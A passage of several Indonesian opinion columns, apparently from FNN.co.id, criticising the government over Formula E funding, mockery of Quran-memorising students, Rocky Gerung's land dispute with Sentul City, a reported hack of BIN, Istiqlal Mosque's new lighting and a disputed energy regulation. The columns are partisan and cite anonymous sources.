pengelolaan pendapatan dari penyelenggaraan Formula E,” ujar Anies. Sebelumnya, BPK turut menyoroti pendanaan ajang Formula E. BPK menilai PT Jakpro belum maksimal dalam melakukan renegosiasi dengan pihak FEO soal pembayaran itu. Pasalnya, keberlangsungan gelaran Formula E tidak dapat dipertegas keberlanjutan kerja samanya ataupun pendanaan yang telah dibayar. “Dengan adanya kondisi force majeure yang belum dapat dipastikan kapan berakhirnya, PT Jakpro selaku perwakilan Pemprov DKI belum optimal melakukan renegosiasi dengan pihak FEO yang bisa mempertegas dan memperjelas keberlanjutan kerja sama dan status pendanaan yang telah disetorkan,” ujar BPK dalam Buku Laporan Hasil Pemeriksaan Laporan Keuangan Pemerintah Daerah Provinsi DKI Jakarta Tahun 2019 yang telah dikonfirmasi anggota BPK, Achsanul Qosasi, Senin (22/3/2021). Menurut Manajer Komunikasi PT Jakpro selaku pelaksana Formula E, Melisa Sjach, Jumat (22/1/2021), keputusan menunda pelaksanaan Formula E telah sesuai arahan GubernurAnies karena memprioritaskan keselamatan di masa pandemi Covid-19. “Ini langkah inisiatif sekaligus respons terhadap masukan dari para pemangku kepentingan guna memastikan keselamatan bersama sebagai prioritas,” kata Melisa, dikutip dari Antara. Pemprov DKI memutuskan untuk menunda perlombaan balap mobil ramah lingkungan itu kedua kalinya. Sebelumnya, Pemprov DKI melakukan hal yang sama pada 11 Maret 2020 ketika Covid-19 mulai merebak di Indonesia. Terkait penundaan kedua, kata Melisa, Formula E Operations (FEO) selaku promotor dan pemegang lisensi ABB FIA Formula E Championship telah menyetujui dan menghargai keputusan penundaan balapan tersebut di Jakarta. Selain itu, Melisa menekankan bahwa biaya komitmen atau commitment fee yang Anies sempat serahkan ke pihak Formula E sebesar Rp 560 miliar tidak akan hilang. Karena pihak Formula E memahami bahwa penundaan tersebut disebabkan pandemi Covid-19 yang masuk kategori kejadian luar biasa. Setelah itu, Jakpro bersama Pemprov DKI beserta Dinas Pemuda dan Olahraga bakal terus memantau situasi, bekerja sama dengan FEO untuk melihat kemungkinan penjadwalan ulang demi terselenggaranya Formula E di Jakarta. Sebelum ada Covid-19, Formula E dijadwalkan digelar di Jakarta pada 6 Juni 2020. Bahkan, perlombaan itu direncanakan bakal dilaksanakan lima tahun berturut-turut dari 2020 sampai 2024. Rute balapan olahraga otomotif itu akan melintasi area di dalam kawasan Monumen Nasional (Monas) dan Jalan Medan Merdeka Selatan. Lintasan balap akan sepanjang 2,6 km. Rutenya melalui Jalan Medan Merdeka Selatan dari arah Gambir menuju Patung Arjuna Wiwaha; Lalu, belok kanan ke Jalan Silang Monas Barat Daya, masuk ke kawasan Monas, belok kiri ke sisi barat, lalu putar balik, belok kiri ke sisi selatan, keluar kawasan Monas melalui Jalan Silang Monas Tenggara, lalu kembali ke Jalan Medan Merdeka Selatan. Nantinya, batu alam di dalam Monas akan dilapisi aspal sebagai lintasan balap. Pengaspalan ini guna menyesuaikan standar lintasan balap sesuai yang diatur oleh FIA atau FOI. Tidak Paham Menurut sumber FNN.co.id yang dekat dengan Istana itu, PSI dan PDIP yang ingin gulingkan Anies, ternyata tak paham aturan penyelenggaraan event Otomotif Internasional. Penyelenggara event tersebut selalu organisasi Otomotif Negara. Yakni IMI Pusat. Panitia pelaksananya (RC) gabungan antara pengurus IMI Pusat dan Daerah, yang telah memiliki lisensi dunia. Posisi Pemprov DKI itu hanya sebagai tempat penyelenggara, yang ditangani oleh IMI DKI dan Pusat. “Status Anies dalam event tersebut biasanya hanya sebagai penasehat. Artinya, selama ini, PSI dan PDIP bodoh dan gak tahu aturan penyelenggaraan event Otomotif Internasional,” kata sumber tadi. Sebenarnya PDIP dan PSI harus melihat website FIA. Karena di situ ada aturan juga tentang penyelenggaraan event kelas dunia. Termasuk Formula E. Dan, “Penundaan Formula E itu setahu saya atas permintaan FIA. Karena pandemi Covid-19. Bukan permintaan Anies. Surat dari FIA ada copy-nya di Anies,” tegasnya. Penulis adalah Wartawan FNN.co.id

Santri Menutup Telinga, dan Janji Pemimpin Tanpa Bukti

Oleh Ady Amar *) SETIAP peristiwa bisa dilihat dari sudut pandang yang berbeda. Manusia yang memahami satu hal yang dilihatnya, akan bisa memahami apa yang dilihatnya itu. Sedang manusia yang tidak memahami pastilah tidak akan mampu melihat peristiwa yang dilihatnya itu dengan baik. Mestinya ketidaktahuannya pada satu hal, itu tidak menyebabkan ia justru mengolok-olok apa yang tidak diketahuinya. Fenomena jahil memang muncul belakangan ini, bahwa menegakkan yang baik dalam beragama itu disikapi kelompok yang tidak memahami apa yang dilihatnya dengan olok-olok, menertawakan bahkan dengan nada menghina. Harusnya ketidaktahuannya itu tidaklah perlu diungkap, jika saja masih punya sikap toleran terhadap perbedaan pada pemahaman. Video singkat para santri hafiz al-Qur'an sejak Senin (13 September) viral, dengan diberi narasi, tampaknya oleh sang Ustadz, yang menginformasikan bahwa para santri itu sedang menunggu giliran untuk divaksin. Mendengar alunan musik di tempat itu, para santri serempak menutup telinganya agar musik tak didengarnya. Mendengar musik bagi para penghafal kalamuLlah itu akan mengurangi kekuatan menghafalnya dan bahkan akan menghilangkan beberapa ingatan akan hafalannya. Maka yang memahami hal itu justru respek melihatnya. Sedang yang tidak paham, mestinya bertanya mengapa mesti sampai menutup telinga segala. Muncul yang juga viral kemarin, Selasa (14 September) postingan Diaz Hendropriyono, yang mengolok-olok para hafiz itu, dan lalu jadi bahan candaan seolah mereka yang menutup telinga saat mendengar alunan musik adalah makhluk aneh di alam modern, tentu menurut versinya. Nada ejekan pada para santri Hafiz itu disampaikan Diaz, putra Jenderal (Purn) Hendropriyono: Kasian, dari kecil sudah diberikan pendidikan yang salah. There's nothing wrong to have a bit of fun! Lalu ditimpali Mastercorbuzier (Deddy Corbuzier), seorang mualaf, juga tidak kalah nyinyirnya, Mungkin mereka lagi pakai airpod... Terganggu.. Ya kaaaan. Dan lalu ditimpali Diaz, @mastercorbuzier Pinteeerrrr. Meski muslim, mereka tidak mengerti ajaran agamanya dengan baik, dan anehnya sikapnya itu mengecilkan muslim lainnya yang dianggapnya melakukan hal yang menurutnya tidak seharusnya. Semua dinilai pada apa yang diyakininya, dan yang dianggapnya benar. Padahal mereka tidak tahu makna di balik menutup kedua telinganya. Banyak yang mengaku paling pancasilais, tapi perilakunya sedikit pun tidak menampakkan itu. Ukuran kebenaran itu yang ada di pikirannya, selainnya dianggap aneh, lucu yang patut ditertawakan. Dan para santri penghafal al-Qur'an, yang tengah membentengi diri dengan menutup telinga dari lantunan musik, itu pun jadi bahan candaan. Lagak memaksa orang lain yang beda dengannya dengan candaan dan bahkan hinaan, itu pastilah bukan sikap pancasilais. Justru itu sebaliknya, mereka tidak menghargai hak privacy warga lainnya yang punya pilihan tanpa merugikan pihak lain. Memangnya para santri hafiz Qur'an, saat menutup telinganya apa merugikan pihak lain, ya... Para santri itu tidak satu pun yang protes, dengan meminta agar musik dimatikan. Mereka hanya melakukan dengan menutup telinganya rapat-rapat dengan kedua tangannya. Viral Ramai-ramai Menutup Telinga Hari ini, Rabu (15 September), bermunculan video singkat semacam "perlawanan" atas sikap pelecehan terhadap para santri hafiz al-Qur'an. Setidaknya tiga video sejenis, yang sama-sama berpose menutup telinganya. Video pertama, seorang anak muda duduk di tepi kolam, sambil kedua tangannya menutup telinganya. Suara yang muncul pada video itu adalah suara Joko Widodo (Jokowi), tampaknya itu saat debat Capres 2019, dimana ia mengatakan, bahwa di kantongnya ada Rp 11 ribu trilyun... dan seterusnya. Dan memang itu tidak terbukti, dan jadi olok-olokan sepanjang sejarah. Jejak digital mustahil bisa dihapus. Lelaki remaja tadi menutup telinganya rapat-rapat agar suara pidato yang diperdengarkan itu tak didengarnya. Muncul pula lelaki remaja berpuluh jumlahnya duduk rapi di pelataran sebuah lapangan, lagi-lagi dengan kedua tangannya menutup kedua telinganya rapat-rapat dengan wajah mereka menunduk. Seperti video remaja duduk di tepi kolam, mereka menutup kedua telinganya dari suara Jokowi dengan Rp 11 ribu trilyunnya. Itulah simbol perlawanan publik atas janji-janji kosong seorang pemimpin. Dan itu diilhami para santri cilik hafiz al-Qur'an. Dan yang terakhir siang ini, muncul protes yang sama dari lelaki publik figur, dengan menutup kedua telinganya, itu dari rumahnya di kawasan Sentul, Bojong Koneng. Kawasan termasuk rumah yang ditinggalinya akan dirobohkan oleh pengembang PT Sentul City. Lelaki yang menutup telinganya itu siapa lagi jika bukan Bung Rocky Gerung. Ia menutup telinganya rapat-rapat dari suara Jokowi yang muncul dengan janji Rp 11 ribu trilyunnya. Bung Rocky Gerung meski sedang menantikan rumah yang ditinggalinya akan dirobohkan, ia tetap bisa melawan meski dengan candaan. Ia disomasi agar 7 × 24 jam mengosongkan rumahnya. Tidak merasa gelisah, tampak biasa-biasa saja. Mestinya ini masalah perdata, yang patut dibawa ke pengadilan. Tapi tampaknya PT Sentul City, mendapat backing dari kekuatan besar, itu jika dilihat dari komentar orang istana, Ali Mochtar Ngabalin, yang meminta PT Sentul City untuk gas pol secepatnya merobohkan rumah kediaman filsuf kritis itu. Jika demikian, ini lebih pada masalah politik ketimbang legalitas hak atas tanah. Bung Rocky Gerung masih bisa senda gurau dengan menutup telinganya, ia tidak ingin ketinggalan protes pada mereka yang nyinyir pada santri penghafal al-Qur'an, tapi juga mengirim isyarat, bahwa teror ingin merobohkan rumahnya itu tidak akan menyurutkan sikapnya untuk tetap kritis. Tuhan memberi jalan lewat cara-Nya, dan kali ini nyinyir pada para santri, itu bisa jadi media untuk memperolok janji pemimpin yang tak ditepati. Langkah Diaz memperolok para santri itu dibalas dengan kreativitas memperolok Presiden Jokowi. Diaz Hendropriyono dan kelompoknya yang mestinya patut disalahkan dengan balasan munculnya bermacam video menutup telinga, yang bisa diartikan, tanda tak sudi mendengar janji pemimpin tanpa bukti alias bohong itu. (*) *) Kolumnis

Rocky Gerung Meraung, Penguasa Limbung

Oleh: Yusuf Blegur Rocky Gerung dalam persoalan dengan PT Sentul City Tbk. Secara substansi menghadapi cara-cara yang bukan saja jauh dari akal sehat. Penuh kebencian, dendam dan kedzoliman kekuasaan yang tidak mampu menunjukkan sedikitpun sifat-sifat kepemimpinan yang humanis, adil dan beradab. Menggunakan aparat keamanan, sesama anak bangsa hingga korporasi dan pengusaha kakap. Selain faktor ekonomi tentunya, mereka terkadang ditempatkan untuk terus menciptakan dan memelihara konflik. Membuktikan hanya itu yang bisa dilakukan pemerintah untuk menyelesaikan setiap persoalan bangsa. Kritik yang harusnya dilihat sebagai upaya memperbaiki dan membangun pemerintahan yang bersih dan sehat. Dimata pemerintah selalu dilihat sebagai upaya mengganggu kepentingan dan menghancurkan kelanggengan kekuasaan. Sebagai seorang filsuf, tidak banyak yang mau keluar dari kedalaman ruang-ruang kontemplasi batin, psikologis dan pemikiran semata. Pengecualian salah satunya ada pada Rocky Gerung yang kuat dalam wilayah konseptual dan praksis. Tidak sekedar menguasai ilmu filsafat dan pendidikan, ia juga kritis dan konsen melakukan advokasi sosial. Selain mengambil sikap dan pemikirian yang oposisional terhadap rezim Jokowi. Rocky Gerung kerapkali menelanjangi distorsi pemerintahan, perilaku sakit dan menyimpang para pejabat. Seiring waktu Rocky Gerung berlimpah simpati dan empati dari sebagian besar masyarakat Indonesia. Dilain sisi ia termasuk salah satu sosok yang paling dibenci oleh rezim Jokowi dan pasukan buzzernya di republik ini. Saking tidak bisa diatur dan ditaklukan oleh kekuasan seperti Imam Besar Habib Rizieq Syihab. Rocky Gerung kini mulai dijahili, target mulai ditetapkan dan dibidik oleh 'senjata' penguasa. Baik Habib Rizieq Syihab maupun Rocky Gerung, keduanya kini telah menjadi 'Enemy Of The State'. Tokoh-tokoh yang menjadi simbol perlawanan rakyat dan tentunya, menjadi korban represi dan kedzoliman penguasa seperti yang lainnya. Kasus kepemilikan dan penguasaan tanah bangunan antara Rocky Gerung dengan PT. Sentul City Tbk. Seperti menjadi triger bagi Rocky Gerung yang sering mengusik Jokowi dan pengekor kekuasaannya. Begitu juga bagi pemerintah, karena sudah dianggap mengusik, memprovokasi dan mengancam kepentingan kekuasaan. Maka perlu melakukan "shock therapy" untuk dosen UI yang narasinya sarat pencerahan. Penulis dalam hal ini tidak akan mengangkat persoalan teknis seputar masalah Rocky Gerung dan PT. Sentul City Tbk. Apalagi terkait kepemilikan dan penguasaan tanah bangunan, PT Sentul City Tbk. juga berhadapan dengan banyak warga sekitarnya. Hampir 6000 warga dari ratusan KK berhadapan dengan PT. Sentul City Tbk. terkait persoalan yang sama. Sebagai contoh empiris soal kasus tanah. Penulis pernah melakukan pendampingan dan advokasi upaya penggusuran oleh sebuah hotel ternama pada seorang warga yang telah menggarap tanah fasum-fasos milik Kementerian PUPR untuk usaha produktif yang secara turun-temurun digeluti oleh keluarganya dibilangan Kota Bekasi. Pengusaha itu mengincar lahan bukan miliknya yang ada didepan lahan yang akan dibangun hotel. Secara sewenang-wenang dan represif, Hotel besar itu mencoba mencaplok lahan garapan yang sama sekali bukan haknya. Bahkan pengusaha yang hotelnya ada di beberapa kota itu, melakukan kapitalisasi upaya penggusuran dengan melibatkan preman, satpol PP, dan aparat keamanan lainnya dengan dalih penataan lingkungan dan taman kota. Dari salah satu pendampingan dan advokasi penulis pada kasus itu. Serta banyak lagi pengalaman penulis pada kasus yang sama terkait penggusuran, perampasan, dan penggelapan tanah yang umumnya dilakukan oleh mafia tanah berkedok pengusaha. Penulis menyadari dan sampai pada satu konklusi, bahwasanya sering terjadi, rakyat kehilangan hak dan kedaulatan atas tanah dan bangunan miliknya. Banyak faktor yang memicunya. Antara lain keawaman masyarakat, faktor ekonomi, lemahnya perlindungan birokrasi dan regulasi terhadap kepemilikan aset baik tanah maupun rumah milik warga maupun pemerintah. Namun dari beberapa sebab, faktor dominan yang menyebabkan kehilangan hak tanah bangunan masyarakat itu adalah permainan mafia tanah di Indonesia. Mereka cenderung bersekongkol dan atau atas nama perusahaan, memanfaatkan preman dan korupnya oknum institusi pemerintahan. Sehingga masalah yang menimpa Rocky Gerung ini menjadi menarik, penting dan strategis bagi upaya pemenuhan hak dan kedaulatan rakyat atas tanah dan bangunannya secara umum. Harus kita akui dalam soal itu pemerintah tak tinggal diam. Program Proyek Nasional (Prona), yang di era Jokowi berganti menjadi Program Tanah Sistematika Langsung (PTSL). Merupakan upaya mereduksi eksistensi mafia tanah, penertiban sertifikasi dan upaya pemasukan kas negara via pajak tanah bangunan. Namun sejauh ini masih jauh dari maksimal. Selain lebih banyak dimanfaatkan oleh borjuasi korporasi besar untuk meluaskan aset dan usahanya seperti perkebunan dan tambang di daerah. Program PTSL hanya membesarkan pengusaha kelas kakap yang membayar murah sertifikat hamparan tanah luasnya. Pemerintah justru melegalisasi aset tanah pengusaha berbasis konglomerasi. Hanya tanah-tanah kecil dan sedikit yang sertifikatnya menyentuh masyarakat kecil. Mirisnya program PTSL yang dibranding pemerintah dengan pembagian sertifikat gratis itu. Faktanya, masyarakat di beberapa daerah tetap menerima program sertifikat tanah itu berbayar, terlepas ada oknum birokrasi yang bermain. Mendesak Revolusi Agraria Kembali ke soal Rocky Gerung dan PT. Sentul City Tbk. yang didalamnya duduk pejabat pemerintahan atau mantan aparat birokrasi. Setidaknya duduk di komisaris atau direksi. Hal yang sama yang bisa ditemui bukan saja pada BUMN namun juga ada banyak korporasi swasta bonafid yang kapitalistik dan berpengaruh pada ekonomi masyarakat. Dalam hal ini ada Basaria Panjaitan sosok perempuan mantan petinggi KPK dan Polri menjabat komisaris di PT. Sentul Tbk. Masalah Rocky Gerung bukan sekedar masalah tanah bangunan miliknya. Lebih dari itu, ia menjadi persoalan politik dan keadilan hukum baik bagi pribadi dan rakyat pada umumnya. Konflik Rocky Gerung dan PT. Sentul City merupakan polarisasi dari sikap rezim Jokowi yang anti kritik. Kekuasaan gagal menyalurkan ekspresi dan kontemplasi yang sehat dari dinamika demokrasi. Publik kebangetan sering melihat pembungkaman suara dan aspirasi yang dilakukan rezim. Bahkan Jokowi yang manis kata-katanya dan lembut bersahaja sikapnya. Tak mampu menyembunyikan tindakan politik yang dinilai khalayak kotor dan keji dari pemerintahannya. Sebagai pemimpin yang dianggap berpihak pada rakyat kecil, Jokowi malah terus membiarkan sindikasi birokrasi, politisi dan pengusaha hitam, membersihkan dan melenyapkan tuntas, hak dan suara rakyat. Pada akhirnya, publik hanya bisa melihat bahwasanya Masalah Rocky Gerung dengan PT. Sentul City merupakan bagian dari tradisi keangkuhan dan penindasan para pemilik modal yang bersekongkol dengan penguasa. Rakyat hanya bisa diam dan parah menerima, meski dengan perlawanan yang terhenti. Bagi rakyat hanya ada luka dalam dada. Amarah yang tersekat dan tangis yang tersembunyi. Untuk Rocky Gerung, tetaplah menjadi manusia yang manusiawi. Tetap bersuara tanpa atap, tetap kritis tanpa dinding pelindung. Berdiri tegak di atas tanah tanpa bangunan. Mengadu dan berdoa menembus langit berdialog dengan Tuhan. Sang pemilik sejati tanah, bumi dan langit dunia. Saatnya menanam benih-benih revolusi agraria. Menunggu menuai Kedaulatan rakyat atas tanah. Penulis, Pegiat Sosial dan Aktifis Human Luhur Berdikari.

BIN Menyusup Ke Taliban, Hacker China Menyusup Ke BIN

By Asyari Usman MENDENGAR berita server Badan Intelijen Negara (BIN) diretas oleh “hacker” China dari Mustang Panda Group, langsung teringat cerita tentang BIN menyusup ke Taliban. Apa iya bisa diretas? Bukankah BIN yang sebetulnya sangat lihai “meretas” sampai ke Taliban dan berbagai kelompok perlawanan di negara-negara lain? Deputi VII BIN Wawan Hari Purwanto awal bulan ini (1/9/2021) mengatakan bahwa penyusupan ke Taliban itu berhasil mencegah perang Afghanistan meluas ke Indonesia. Tentu saja ini merupakan kerja dan kinerja BIN yang sangat luar biasa. Sebab, tidak mudah menyusupi Taliban. Dinas-dinas rahasia negara besar tidak ada yang bisa bertahan di lingkungan Taliban. Rusia, hengkang. Amerika Serikat (AS), angkat kaki. Inggris dan Prancis, tak pernah bisa. Hanya BIN yang mampu melancarkan misi berat menginfiltrasi (“meretas”) Taliban. Pantas mendapatkan apresisasi. Sayangnya, legenda penyusupan ke Taliban itu sekarang ternoda akibat pembobolan server BIN oleh “hacker” China. Kok bisa? Bagaimana mungkin BIN yang terkenal piawai menyusup ke banyak kelompok perlawanan, diretas oleh hacker China? Sangat tak masuk akal. Dan, barangkali, karena tak masuk akal itulah kemudian Pak Wawan membantah server BIN diretas. Kelihatannya beliau tak ikhlas kalau disebut ada hacker China yang menyusup ke BIN. “Hingga saat ini, server BIN masih dalam kondisi aman terkendali dan tidak terjadi ‘hack’ sebagaimana isu yang beredar bahwa server BIN diretas hacker asal China,” ujar Wawan seperti ditulis oleh sejumlah media online. Deputi VII ini ingin meyakinkan publik bahwa infrastruktur digital BIN sangat tangguh. Jadi, kalau tempo hari Anda mendengar berita tentang server Departemen Pertahanan AS, Departemen Luar Negeri AS, Departemen Keuangan AS, Departemen Perdagangan AS, dll, diretas oleh para hacker asing, berarti ketahanan siber di Amerika sangat lemah. Kalah kuat dengan server BIN yang tetap aman terkendali seperti kata Pak Wawan Purwanto. Bantahan Pak Wawan tentang hacker China membobol server BIN, patut dipercayai sebagai upaya normatif untuk menjaga gengsi. Namun, yang dipahami publik hari ini adalah “BIN menyusup ke Taliban, hacker China Menyusup ke BIN”.[] (Penulis wartawan senior FNN)

Dalam Kasus Sentul City VS Rocky Gerung: Mafia Tanah dan Hukum Akan Bermain

Oleh Tjahja Gunawan KASUS sengketa tanah antara PT Sentul City Tbk dengan Rocky Gerung ibarat fenomena gunung es. Di tempat lain, sudah banyak terjadi sengketa antara pengembang dengan rakyat biasa. Dalam setiap kasus tersebut, rakyat selalu dikalahkan pihak korporasi karena perusahaan mampu menyelesaikan setiap sengketa tanah dengan kekuatan uang yang dimilikimya. Dalam menyelesaikan setiap kasus sengketa lahan, sejumlah perusahaan pengembang besar, bahkan bisa "membeli" oknum pejabat di Badan Pertanahan Nasional (BPN). Kemudian menyogok oknum aparat di kepolisian, kejaksaan hingga oknum pejabat di pemda dan pejabat desa. "Kerja mereka sudah sistematis. Pembagian 'kue' nya sudah dipersiapkan dengan rapih hingga kasusnya tuntas. Sehingga kalau ada pejabat yang berusaha idealis menegakan aturan di bidang pertanahan kerap dianggap sebagai ganjalan yang harus disingkirkan," kata seorang pejabat senior di BPN Pusat dalam perbincangan dengan penulis akhir pekan lalu. Menurut pejabat tersebut, kasus yang dialami Rocky Gerung dengan PT Sentul City juga banyak terjadi di tempat lain yang melibatkan rakyat biasa. Namun jarang terekspose media dan rakyat yang bersengketa dengan pengembang besar itu selalu dikalahkan. Lalu pejabat senior BPN ini memberi contoh kasus gurunya yang berperkara dengan pengembang besar yang membangun kawasan perumahan menengah atas di daerah perbatasan Jakarta dengan Kota Tangerang Selatan. Ujung sengketa tersebut, guru tersebut kalah dan harus rela kehilangan tanahnya seluas 6.000 M2. Jika oknum pejabat dan aparat yang terkait dengan masalah pertanahan sudah bisa dikuasai, pengembang besar seperti Sentul City bisa melakukan langkah apapun untuk menguasai lahan yang dikehendakinya termasuk menggusur lahan yang telah dikuasai penduduk di daerah Bojong Koneng, Kabupaten Bogor, Jawa Barat. Namun demikian, meskipun saat ini alat berat becho sudah nongkrong tidak jauh dari kediaman Rocky Gerung, tapi pihak Sentul City belum berani menggusur rumah milik tokoh oposisi ini. Padahal, dalam surat somasi kedua yang dilayangkan awal Agustus 2021, pihak Sentul City telah memberi batas waktu 7X24 jam kepada Rocky Gerung untuk mengosongkan dan membongkar sendiri rumahmya. "Kami sudah memberi jawaban atas surat somasi yang dilayangkan PT Sentul City, " kata Haris Azhar, pengacara Rocky Gerung dalam dialog yang ditayangkan Channel YouTube Refly Harun. Walaupun surat tanah yang dimiliki Rocky Gerung baru berupa akte jual beli dengan penduduk penggarap, Haris Azhar menegaskan tidak berarti dasar hukumnya lemah. Rocky Gerung sudah melalukan transaksi jual beli secara sah dan menguasai secara fisik tanahnya seluas 800 M² sejak tahun 2009. Tidak hanya itu, Rocky Gerung juga telah menjaga keseimbangan lingkungan di lahan yang dikuasainya itu. Dia sengaja menanam berbagai jenis pohon dari semula tingginya 20 senti sekarang sudah 20 meter. Rocky juga telah membangun rumahnya dengan tetap menjaga kontur tanah. Walaupun misalnya nanti kasus sengketa tanah di Sentul City ini dibawa ke pengadilan, tidak menjamin warga yang telah lama tinggal dan menggarap lahan di sana bisa memenangkan perkara tersebut. Sebab mafia tanah dan mafia hukum, dipastikan akan ikut bermain dan berkolusi dengan Sentul City sebagai pemilik modal. Yang bersengketa dengan Sentul City, ternyata tidak hanya Rocky Gerung. Tapi juga ada sebanyak 90 keluarga atau 6.000 orang lainnya. Penduduk di Desa Bojong Koneng tersebut diancam digusur Sentul City. Jika tanah yang sekarang ditempati Rocky Gerung dan penduduk lainnya digusur semuanya, akan menjadi preseden buruk bagi penegakan hukum pertanahan di negeri ini. Bukan mustahil pula kasus ini bisa memantik terjadinya revolusi sosial di Indonesia. Kita lihat saja nanti. *** Penilis wartawan senior FNN.

Istiqlal Destinasi Wisata Baru

By M Rizal Fadillah MASJID itu tempat sujud, beribadah khusyu untuk menikmati dzikrullah. Suasana yang diciptakan harus menunjang kekhusyuan shalat dan dzikrullah tersebut. Masjid besar atau kecil berorientasi pada fungsi utama sebagai tempat ibadah. Kegiatan lain yang dilakukan tidak boleh keluar dari makna ibadah tersebut. Masjid Istiqlal yang berada di ibukota negara dan menjadi masjid terbesar kebanggaan umat Islam tidak terkecuali. Asesori lingkungan harus mendukung kekhusyuan bukan semata bagus atau artistik. Perbaikan perbaikan merupakan hal yang wajar. Demi memaksimalkan fungsi peribadahan tersebut. Ada hal menarik kini pada Masjid Istiqlal ini yaitu pertama dibuat lorong yang menyambungkan jalan ke Gereja Katedral. Disebut lorong silaturahmi. Kedua, lampu interior unik menyerupai hall pertemuan atau diskotik. Konon pencahayaan dengan sistem aplikasi. Canggih dan dapat diunggulkan. Dipasangi 300 titik lampu utama dan 3300 titik lampu ambiens. Lampu menggunakan LED red green blue amber white (RGBAW). Ribuan lampu diberikan IP address yang masing masing mengendalikan 20 lampu. Settingan diatur melalui aplikasi Pharos dari smartphone yang dipegang oleh pengelola Masjid. Keunikan tidak boleh membuat siapapun termasuk jama'ah datang ke Masjid untuk berwisata. Bukan menikmati ibadah di Rumah Allah. Hanya heritage atau monumen nasional yang kebetulan berfungsi sebagai tempat ibadah. Apalagi hanya mengagumi kedap kedip lampu warna warni. Apa kurang besar dan megahnya Masjidil Haram dan Masjid Nabawi ? Akan tetapi orang datang ke sana untuk beribadah merebut jaminan Allah, bahwa beribadah di Masjid Nabawi seribu kali nilainya dibanding Masjid selainnya. Demikian juga dengan Masjid Al Haram yang diganjar pahala seratus ribu kali. Artinya, jama'ah datang untuk mendapat pahala besar dari Allah. Bukan berwisata dan sekedar untuk mengagumi kemegahan ekterior dan interior Masjid. Lorong silaturahmi tidak memiliki guna signifikan terkait fungsi Masjid (maupun Gereja) karenanya sebenarnya tidak dibutuhkan. Begitu juga dengan sistem pencahayaan Masjid yang seperti hall pertemuan atau ruang diskotik. Keduanya hanya akan membawa Masjid Istiqlal sebagai destinasi wisata. Bukan tempat ibadah utama. Ada benarnya bahwa Masjid bukan semata pusat ibadah tetapi juga pusat kebudayaan, akan tetapi kebudayaan disini tidak harus dengan memaksakan diri untuk beradaptasi pada nilai kemodernan hingga perlu kelap-kelip lampu. Kembalikan pada fungsi pemakmuran Masjid sebagaimana aturan Al Qur'an yaitu untuk meningkatkan keimanan kepada Allah dan hari akhir, shalat dan berzakat, serta berani dalam menegakkan kebenaran ilahi, hanya takut kepada Allah. Bukan moderasi atau Wasathiyah dalam makna plintat-plintut khas Munafiqun. Bila Masjid Istiqlal dimaksudkan untuk semata kemegahan atau kebanggaan dunia, maka esok mungkin ada pihak yang akan memfatwakan haram untuk sholat di Masjid Istiqlal. Meski tentu fatwa ini tidak berpengaruh besar, akan tetapi adanya hal demikian telah membuat cacat keberadaan Masjid yang direnovasi dengan biaya mahal tersebut. Semoga Masjid Istiqlal itu adalah tempat untuk beribadah bukan untuk berwisata sekalian berjalan-jalan ke Gereja. *) Pemerhati Politik dan Kebangsaan.

Usut Tuntas Penyebar Berita Bohong Revisi Permen ESDM No.49/2018

Oleh Marwan Batubara Indonesian Resources Studies (IRESS) dengan ini meminta aparat penegak hukum untuk mengusut tuntas penyebar berita bohong tentang telah ditetapkannya hasil revisi Permen ESDM No.49/2018 seperti dimuat sejumlah media pada 13 September 2021. Padahal sesuai Perpres No.68/2021, draft revisi Permen ESDM tersebut masih dalam tahap harmonisasi dan proses pembahasan di Kantor Sekretariat Negara/Kabinet guna memperoleh persetujuan dari Presiden Jokowi/Pemerintah RI. "Berita bohong" tentang telah revisi Permen No.49/2018 antara lain menyebutkan permen baru sebagai hasil revisi adalah Permen ESDM No.26/2021. Selain itu tercantum pula bahwa Permen No.26/221 *ditetapkan/ditandangani* Menteri ESDM Arifin Tasrif pada 13 Agustus 2021 dan *diundangkan* pada 20 Agustus 2021. Hal yang sangat prinsip dan akan merugikan negara, BUMN dan rakyat konsumen listrik dalam “Permen ESDM No.26/2021 adalah berubahnya tarif ekspor listrik dari 65% menjadi 100% seharga Rp 1.440 per kWh. Seperti diketahui, pada 13 September 2021, penetapan hasil revisi Permen ESDM No.49/2018 menjadi “Permen ESDM No.26/2021” telah diberitakan oleh sejumlah media on-line seperti “ruangenergi.com”, “kontan.co.id”, dan “dunia-energi.com”. Namun ketiga media tersebut tidak mencantumkan atau mengindikasikan sumber informasi yang jelas tentang penetapan Permen ESDM yang baru tersebut, sehingga publik bisa saja meragukan kebenarannya. Selama ini pemerintah dan kementrian/lembaga terkait selalu menerbitkan rilis dan memuatnya dalam situs masing-masing lembaga jika telah menetapkan suatu kebijakan, UU dan peraturan baru, termasuk revisi peraturan seperti permen. Prosedur sepeti ini sesuai perintah UU No.30/2014 tentang Administrasi Negara. Namun, khusus tentang hasil revisi Permen ESDM No.49/2021 menjadi “Permen ESDM No.26/2021”, publik dan awak media tidak menemukan adanya rilis/informasi resmi yang diterbitkan oleh KESDM dan/atau Sekretariat Negara/Kabinet. Terlepas bahwa “Permen ESDM No.26/2021” telah ditetapkan atau masih dalam proses pembahasan di Kantor Presiden, jelas ada oknum-oknum pemberi perintah dan pelaku yang berperan menjadi sumber berita tersebut. Oknum-oknum ini bisa saja sangat berkepentingan untuk membuat agar revisi Permen ESDM No.49/2018 segera terlaksana, tidak peduli jika cara yang ditempuh melanggar kaidah-kaidah moral dan asas tata kelola pemerintahan yang baik. Isi berita ketiga media bisa benar atau bisa pula salah. Jika akhirnya Presiden setuju dengan usul perubahan permen sesuai permintaan KESDM pada Juli/Agustus 2021, maka hal-hal yang termuat dalam “Permen ESDM No.26/2021” memang benar adanya. Jika isinya berbeda, maka dapat pula dinilai bahwa minimal oknum-oknum pelaku telah menunjukkan upaya maksimal kepada “promotor”, namun gagal mencapai target yang diinginkan. Penilaian di atas menunjukkan berita tentang terbitnya “Permen ESDM No.26/2021” telah menimbulkan spekulasi tentang kebenaran isi berita. Spekulasi lain bisa pula muncul terkait motif di balik beredarnya penetapan revisi permen. Misalnya, informasi disebar guna fait accomply keputusan terhadap Kepala Negara, to test the water, menggiring opini, atau bisa pula dianggap sebagai sandiwara untuk mendapat dukungan publik. Berbagai spekulasi di atas tentu tidak sesuai dengan asas dan tujuan berbangsa dan bernegara. Spekulasi di atas dapat pula membuat pemerintah mengambil keputusan yang salah, sekaligus merugikan negara, BUMN dan publik. Sehingga berita tersebut perlu diklarifikasi dan pelakunya harus diberi sanksi sesuai hukum berlaku. Dalam hal ini pemerintah perlu memberi sanksi tegas jika ada oknum pemerintah yang terlibat rekayasa yang merugikan ini. Aparat penegak hukum, termasuk KPK pun harus segera memulai pengusutan. Seperti 